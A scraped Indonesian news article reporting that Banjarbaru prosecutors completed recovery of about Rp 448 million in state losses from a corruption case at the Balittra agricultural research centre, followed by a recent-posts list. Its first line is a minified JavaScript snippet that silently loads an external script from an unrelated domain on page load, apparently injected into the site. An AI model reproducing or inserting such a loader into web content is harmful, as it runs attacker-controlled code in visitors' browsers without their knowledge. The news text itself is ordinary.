(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Tim Jaksa Eksekutor Kembalikan Kerugian Negara Rp 100 Juta dari Kasus Korupsi Balittra


KANALKALIMANTAN.COM, BANJARBARU – Untuk kali ketiga, tim jaksa eksekutor Seksi Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru, kembali menyetorkan uang denda sebesar Rp 100 juta dari terpidana DA dan MN, dalam perkara tindak pidana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Sebelumnya tim jaksa eksekutor telah menyetorkan uang rampasan sebesar Rp 80 juta, pembayaran uang pengganti dan denda dari terpidana SF sebesar Rp 268 juta lebih. Serta pembayaran denda sebesar Rp 50 juta dari terpidana MN dan pembayaran uang denda sebesar Rp 50 juta dari terpidana DA.

“Dengan dibayarnya denda dari ketiga terpidana tersebut, maka proses eksekusi atas perkara Balitra Banjarbaru yang dilakukan tim jaksa eksekutor Seksi Pidana Khusus Kejari Banjarbaru telah selesai. Dengan total uang yang berhasil diselamatkan dan disetor ke kas negara adalah sebesar Rp 448 juta lebih,” ungkap Kajari Banjarbaru Andri Irawan, Selasa (21/7/2020).

Dia menerangkan, Perkara tindak pidana korupsi yang dilakukan terpidana SF dan DA yang merupakan pelaksana, serta MN yang merupakan PNS pada Balitra Banjarbaru, berawal dari kegiatan pembuatan jalan usaha tani, pengerasan jalan usaha tani, pengaspalan jalan utama kebun, dan 11 unit pembangunan jembatan. Dengan nilai kontrak sebesar Rp. 1.208.460.000.

 

Baca juga :

“Dari fakta persidangan terbukti bahwa perbuatan mereka merugikan negara sesuai dengan hasil perhitungan dari BPKP Provinsi Kalimantan Selatan. Kerugian keuangan negara tersebut telah dipulihkan seluruhnya, dengan dedikasi dan kerja keras Insan Adhyaksa pada Kejaksaan Negeri Banjarbaru,” terangnya.

Diungkapkannya, dengan penyelamatan uang negara sebesar Rp 448.636.705 sekaligus menjadi kado dalam peringatan Hari Bhakti Adhyaksa ke- 60 tanggal 22 Juli 2020 besok.(kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

4 jam ago

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

4 jam ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

5 jam ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

6 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

6 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

This website uses cookies.